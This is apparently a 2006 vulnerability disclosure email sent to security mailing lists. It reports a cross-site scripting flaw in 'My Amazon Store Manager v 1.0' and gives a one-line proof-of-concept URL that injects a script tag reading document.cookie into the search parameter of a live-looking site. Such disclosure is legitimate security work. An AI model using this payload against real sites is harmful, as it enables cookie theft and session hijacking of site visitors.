From: preddy . <lil.turk@email.com>
To: cert@cert.org, Vuln@frsirt.com, moderators@osvdb.org, vuln@secunia.com, bugtraq@securityfocus.com
Date: Wed, 18 Jan 2006 18:24:37 -0500
Subject: [OSVDB Mods] My Amazon Store Manager v 1.0 - Cross Site Scripting

My Amazon Store Manager v 1.0 - Cross Site Scripting

Vendor URL: http://www.freekrai.net/

PoC:

http://talk.livedaily.com/musicstore/index.php?Operation=ItemSearch&Keywords="><script>alert(document.cookie)</script>&SearchInd
ex='


Preddy
RootShell Security Group